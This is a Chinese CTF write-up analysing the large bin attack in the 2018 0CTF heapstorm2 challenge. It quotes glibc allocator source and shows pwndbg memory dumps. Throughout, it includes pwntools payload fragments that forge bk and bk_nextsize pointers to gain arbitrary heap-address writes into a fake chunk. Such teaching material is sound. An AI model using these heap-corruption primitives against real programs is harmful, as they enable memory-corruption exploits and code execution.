largebin_attack利用第一弹:2018-0ctf-heapstorm2

发布者:Seclusion
发布于:2019-05-24 23:13

mallopt

下面是在glibc-2.24里面截出来的,看看下面的英文注释就大概明白了。

parameter_number 根据值确定是哪一种类型,parameter_value是为对应的parameter_number类型进行赋值。

比如,mallopt(1,0)就是对M_MXFAST设置值为0,表示禁用fastbin。

/*  
  M_MXFAST is the maximum request size used for "fastbins", special bins
  that hold returned chunks without consolidating their spaces. This
  enables future requests for chunks of the same size to be handled
  very quickly, but can increase fragmentation, and thus increase the
  overall memory footprint of a program.

  This malloc manages fastbins very conservatively yet still
  efficiently, so fragmentation is rarely a problem for values less
  than or equal to the default.  The maximum supported value of MXFAST
  is 80. You wouldn't want it any higher than this anyway.  Fastbins
  are designed especially for use with many small structs, objects or
  strings -- the default handles structs/objects/arrays with sizes up
  to 8 4byte fields, or small strings representing words, tokens,
  etc. Using fastbins for larger objects normally worsens
  fragmentation without improving speed.

  M_MXFAST is set in REQUEST size units. It is internally used in
  chunksize units, which adds padding and alignment.  You can reduce
  M_MXFAST to 0 to disable all use of fastbins.  This causes the malloc
  algorithm to be a closer approximation of fifo-best-fit in all cases,
  not just for larger requests, but will generally cause it to be
  slower.
*/
/*
  mallopt(int parameter_number, int parameter_value)
  Sets tunable parameters The format is to provide a
  (parameter-number, parameter-value) pair.  mallopt then sets the
  corresponding parameter to the argument value if it can (i.e., so
  long as the value is meaningful), and returns 1 if successful else
  0.  SVID/XPG/ANSI defines four standard param numbers for mallopt,
  normally defined in malloc.h.  Only one of these (M_MXFAST) is used
  in this malloc. The others (M_NLBLKS, M_GRAIN, M_KEEP) don't apply,
  so setting them has no effect. But this malloc also supports four
  other options in mallopt. See below for details.  Briefly, supported
  parameters are as follows (listed defaults are for "typical"
  configurations).

  Symbol            param #   default    allowed param values
  M_MXFAST          1         64         0-80  (0 disables fastbins)
  M_TRIM_THRESHOLD -1         128*1024   any   (-1U disables trimming)
  M_TOP_PAD        -2         0          any
  M_MMAP_THRESHOLD -3         128*1024   any   (or 0 if no MMAP support)
  M_MMAP_MAX       -4         65536      any   (0 disables use of mmap)
*/

int
__libc_mallopt (int param_number, int value)
{
  mstate av = &main_arena;
  int res = 1;

  if (__malloc_initialized < 0)
    ptmalloc_init ();
  (void) mutex_lock (&av->mutex);
  /* Ensure initialization/consolidation */
  malloc_consolidate (av);

  LIBC_PROBE (memory_mallopt, 2, param_number, value);

  switch (param_number)
    {
    case M_MXFAST:
      if (value >= 0 && value <= MAX_FAST_SIZE)
        {
          LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ());
          set_max_fast (value);
        }
      else
        res = 0;
      break;

    case M_TRIM_THRESHOLD:
      LIBC_PROBE (memory_mallopt_trim_threshold, 3, value,
                  mp_.trim_threshold, mp_.no_dyn_threshold);
      mp_.trim_threshold = value;
      mp_.no_dyn_threshold = 1;
      break;

    case M_TOP_PAD:
      LIBC_PROBE (memory_mallopt_top_pad, 3, value,
                  mp_.top_pad, mp_.no_dyn_threshold);
      mp_.top_pad = value;
      mp_.no_dyn_threshold = 1;
      break;

    case M_MMAP_THRESHOLD:
      /* Forbid setting the threshold too high. */
      if ((unsigned long) value > HEAP_MAX_SIZE / 2)
        res = 0;
      else
        {
          LIBC_PROBE (memory_mallopt_mmap_threshold, 3, value,
                      mp_.mmap_threshold, mp_.no_dyn_threshold);
          mp_.mmap_threshold = value;
          mp_.no_dyn_threshold = 1;
        }
      break;

    case M_MMAP_MAX:
      LIBC_PROBE (memory_mallopt_mmap_max, 3, value,
                  mp_.n_mmaps_max, mp_.no_dyn_threshold);
      mp_.n_mmaps_max = value;
      mp_.no_dyn_threshold = 1;
      break;

    case M_CHECK_ACTION:
      LIBC_PROBE (memory_mallopt_check_action, 2, value, check_action);
      check_action = value;
      break;

    case M_PERTURB:
      LIBC_PROBE (memory_mallopt_perturb, 2, value, perturb_byte);
      perturb_byte = value;
      break;

    case M_ARENA_TEST:
      if (value > 0)
        {
          LIBC_PROBE (memory_mallopt_arena_test, 2, value, mp_.arena_test);
          mp_.arena_test = value;
        }
      break;

    case M_ARENA_MAX:
      if (value > 0)
        {
          LIBC_PROBE (memory_mallopt_arena_max, 2, value, mp_.arena_max);
          mp_.arena_max = value;
        }
      break;
    }
  (void) mutex_unlock (&av->mutex);
  return res;
}

2018-0ctf-heapstorm2

功能逻辑

找找其他的资料,樱花师傅的文章分析还是比较仔细的。

漏洞点

int __fastcall update(_QWORD *a1)
{
  __int64 v2; // ST18_8
  __int64 v3; // rax
  signed int idx; // [rsp+10h] [rbp-20h]
  int size; // [rsp+14h] [rbp-1Ch]

  printf("Index: ");
  idx = get_input();
  if ( idx < 0 || idx > 15 || !xor_1((__int64)a1, a1[2 * (idx + 2LL) + 1]) )
    return puts("Invalid Index");
  printf("Size: ");
  size = get_input();
  if ( size <= 0 || size > (unsigned __int64)(xor_1((__int64)a1, a1[2 * (idx + 2LL) + 1]) - 12) )// 0 < size < heap.size - 12
    return puts("Invalid Size");
  printf("Content: ");
  v2 = xor_2(a1, a1[2 * (idx + 2LL)]);
  sub_1377(v2, size);
  v3 = size + v2;
  *(_QWORD *)v3 = 5931051951075706184LL;
  *(_DWORD *)(v3 + 8) = 1229545293;
  *(_BYTE *)(v3 + 12) = 0;                      // off by null
  return printf("Chunk %d Updated\n", (unsigned int)idx);
}

存在off_by_one漏洞

思路整理

程序由明显的off_by_one漏洞,可以构造overlapped chunk。普通的思路就是泄露heap、libc然后getshell。

但是这道题目的特殊之处在于,他mmap一块区域存储global node,并且和一个随机数进行xor操作,并且view功能刚开始不能使用,所以我们需要控制mmap出来的内存空间,如果可以控制这部分内存空间,那么后面的操作就很容易了。

利用分析

在large bin attack触发前的情况是 unsorted bin 里面有一个 chunk_A 0x060 , large bin 里面有一个chunk_B 0x5c0 。并且unsorted bin中的chunk size较大

然后用下面的内容改写unsortedbin 以及 large bin , 为触发large bin attack构造条件。

	storage = 0x13370000 + 0x800
        fake_chunk = storage - 0x20

        p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
        p1 += p64(0) + p64(fake_chunk)      #bk
        update(7, p1) #modify unsorted bin  0x060

        p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
        p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
        p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
        update(8, p2) # modify largebin     0x5c0
        

此时unsortedbin里面的A->bk指向了fake_chunk , 这里的fake_chunk本来是没有内容的,也就是说fake_chunk->size == 0 , 正常情况下分配内存的时候会报错,但是我们通过large bin attack使得fake_chunk ->size正好等于0x56。

下面是需要利用到的large bin attack的glibc代码,我放到这,后面再详细解释。

else
            {
				/* 从这里我们可以总结出,largebin 以 fd_nextsize 递减排序。
                   同样大小的 chunk,后来的只会插入到之前同样大小的 chunk 后,
                   而不会修改之前相同大小的fd/bk_nextsize,这也很容易理解,
                   可以减低开销。此外,bin 头不参与 nextsize 链接。*/
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
		
              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
                  if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert ((fwd->size & NON_MAIN_ARENA) == 0);
                      while ((unsigned long) size < fwd->size)
                        {
                          fwd = fwd->fd_nextsize;
                          assert ((fwd->size & NON_MAIN_ARENA) == 0);
                        }

                      if ((unsigned long) size == (unsigned long) fwd->size)
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

#define MAX_ITERS       10000
          if (++iters >= MAX_ITERS)
            break;
        }

进行操作前的chunk内容如下

pwndbg> x/4xg 0x5625d6050060 unsorted bin
0x5625d6050060:	0x0000000000000000	0x00000000000004f1
0x5625d6050070:	0x0000000000000000	0x00000000133707e0
pwndbg> x/6xg 0x5625d60505c0 large bin 
0x5625d60505c0:	0x0000000000000000	0x00000000000004e1
0x5625d60505d0:	0x0000000000000000	0x00000000133707e8
0x5625d60505e0:	0x0000000000000000	0x00000000133707c3

malloc 一个 0x40大小的chunk , 触发large bin attack 。 触发结束后 ,各个chunk的内容如下。

pwndbg> x/6xg 0x5625d6050060
0x5625d6050060:	0x0000000000000000	0x00000000000004f1
0x5625d6050070:	0x00007f42fc72fb38	0x00000000133707e8
0x5625d6050080:	0x00005625d60505c0	0x00000000133707c3
pwndbg> x/6xg 0x5625d60505c0
0x5625d60505c0:	0x0000000000000000	0x00000000000004e1
0x5625d60505d0:	0x0000000000000000	0x00005625d6050060
0x5625d60505e0:	0x0000000000000000	0x00005625d6050060

下面我们分析一下,当前下large bin 内的chunk大小小于unsortedbin内的chunk大小,并且large bin 内只有一个chunk,使用下面代码进行操作。

victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;

这里的victim等于0x060 , fwd等于0x5c0 。

下面进行操作:

0x060+0x20 = 0x5c0 (victim->fd_nextsize = fwd)

0x060+0x28 = *(0x5c0 + 0x28) = 0x133707c3 (victim->bk_nextsize = fwd->bk_nextsize;)

0x5c0+0x28 = 0x060 (fwd->bk_nextsize = victim;)

0x133707c3 + 0x20 = 0x060 (victim->bk_nextsize->fd_nextsize = victim;)这里完成了对fake_chunk size的赋值,赋值为0x56,地址的首字节。(有可能是0x55,也有可能是0x56,2018-0ctf-babyheap劫持main_arena也需要这个姿势,多跑几次就可以碰到0x56开头的地址)

其实现在来看,large bin的攻击核心过程就是

victim->bk_nextsize = fwd->bk_nextsize;

victim->bk_nextsize->fd_nextsize = victim;

如果我们想要给某个对象赋值的时候,可以将fwd(large bin)的bk_nextsize设置成距离目标位置一定偏移处的地址。

bck = fwd->bk;

这里的fwd = 0x5c0 ,所以bck = *(0x5c0+0x18) = 0x133707e8

victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

0x060+0x18 = 0x133707e8

0x060+0x10 = 0x5c0

0x5c0+0x18 = 0x060

0x133707e8+0x10 = 0x060

vmmap区域的内容如下

pwndbg> x/20xg 0x00000000133707e0
0x133707e0:	0x25d6050060000000	0x0000000000000056
0x133707f0:	0x00007f42fc72fb38	0x00005625d6050060
0x13370800:	0x99aadb63494578ab	0x628b23e0f2f5db6c
0x13370810:	0x39301628a1dc6f51	0x39301628a1dc6f51
0x13370820:	0x99aa8d469f4078bb	0x628b23e0f2f5db74

到这里unsorted bin中取出0x060插入large bin , 即 large bin attack的操作结束, mmap区域的fake_chunk->size已经被设置为0x56,在取出这个chunk的过程中,还会改动一个chunk的内容,如下

因为剩下的mmap区域的chunk位于unsorted bin内,大小完全匹配,下面的操作是解链操作,bck对应的fake_chunk->bk = 0x060。

unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

0x060 + 0x10 = unsorted_chunks (av)


需要注意的地方

当我们在攻击利用前需要对 large bin 进行构造,我们是下面这样进行构造的。

 	p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
        p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
        p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks

上面是大佬的注释,我觉得可能有点问题,我们要注意的是在bk字段里面要设置成fake_chunk+8。

具体原因如下:我们在利用large bin攻击成功之后,mmap的fake_chunk->size被设置成我们目标的样子,当正常分配的时候,肯定要解链,解链操作的时候,如下

unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

其中的bck就是fake_chunk->bk 也就是 fake_chunk + 0x18

我们要保证这里是一个可写的地址,所以需要构造,最简单的办法让其指向我们的heap。

在前面large_bin attck的过程中,有

bck = fwd->bk; 		bck = fake_chunk + 8

bck->fd = victim; 	fake_chunk + 8 +0x10 

所以我们在构造large bin的时候 , 在其bk字节放置fake_chunk+8 就能保证large bin攻击结束 , 进行unsortedbin解链的时候 , fake_chunk+0x18是一个可写内存。

下面稍微解释一下main_arena里面的内容

pwndbg> x/40xg 0x7f42fc72fae0
0x7f42fc72fae0 <main_arena>:	0x0000000100000000	0x0000000000000000
0x7f42fc72faf0 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7f42fc72fb00 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7f42fc72fb10 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7f42fc72fb20 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7f42fc72fb30 <main_arena+80>:	0x0000000000000000	0x00005625d6050ac0 top
0x7f42fc72fb40 <main_arena+96>:	0x00005625d60505c0	0x00005625d6050060 last_remainder unsorted bin
0x7f42fc72fb50 <main_arena+112>:	0x00005625d6050060	0x00007f42fc72fb48
0x7f42fc72fb60 <main_arena+128>:	0x00007f42fc72fb48	0x00007f42fc72fb58

因为glibc bin的节省空间机制,所以会看到,当unsorted bin的下面一个bin没被赋值的时候,会和unsorted bin指向相同的内容。


总结一下重点:

总体来说,这道题目的利用方式

伪造large_bin的bk_nextsize以及large_bin的bk来向任意地址写入heap_address :通过unsorted_bin解链插入large_bin过程中进行的large_bin_attack,并且控制unsorted_bin的bk指向fake_chunk,在解链结束后large_bin_attack结束,fake_chunk_size被修改完毕,继续遍历unsorted_bin过程中取出fake_chunk,达成利用。


前提:unsorted bin中chunk_size大于large_bin中的chunk_size,并且unsorted_bin和large_bin中的chunk均可控。(当然并不一定非要满足这样的大小关系,只是下面的利用代码流程是针对于unsorted_bin<large_bin的,其他情况可能也有类似的代码流程效果。)

主要利用代码:

victim   对应    unsorted_bin_chunk
fwd       对应    large_bin_chunk
(1)
1.    victim->fd_nextsize = fwd
2.    victim->bk_nextsize = fwd->bk_nextsize
3.    fwd->bk_nextsize = victim
4.    victim->bk_nextsize->fd_nextsize = victim

(2)
5.    bck = fwd->bk

(3)
6.    victim->bk = bck
7.    victim->fd = fwd
8.    fwd->bk = victim
9.    bck->fd = victim

上面这一组攻击流程中具有两组任意地址写heap_address的效果。

第一次:  2 + 4  :victim->bk_nextsize = fwd->bk_nextsize     victim->bk_nextsize->fd_nextsize = victim    

将large_bin的bk_nextsize位置置为fake_chunk1,最终会在fake_chunk1+0x20处写入heap_address


第二次:  5 + 9 : bck = fwd->bk   bck->fd = victim

将large_bin的bk置为fake_chunk2,最终会在fake_chunk2+0x10处写入heap_address。


上面两处任意地址写heap_address在本题中,

第一处用来伪造fake_chunk_size(heap_address以0x56)

第二处用来达成unsorted_bin取出fake_chunk进行解链操作需要的条件:解链后众所周知还要bck->fd = unsorted_bin(av);  注:此时的bck为fake_chunk->bk

我们要确保这里的bck-fd是一个可写的地址,因此将fake_chunk->bk置为heap_address再方便不过。


在附一遍我们是如何控制unsorted_bin和large_bin的内容:

        p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
        p1 += p64(0) + p64(fake_chunk)      #bk
        update(7, p1)                                   #modify unsorted bin

        p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
        p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when get out from unsorted bin
        p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
        update(8, p2)                                 # modify largebin  

总结很重要,要细品


参考资料: 
https://github.com/willinin/0ctf2018/blob/master/heapstorm2/heapstorm2.md
https://bbs.pediy.com/thread-225973.htm

声明:该文观点仅代表作者本人,转载请注明来自看雪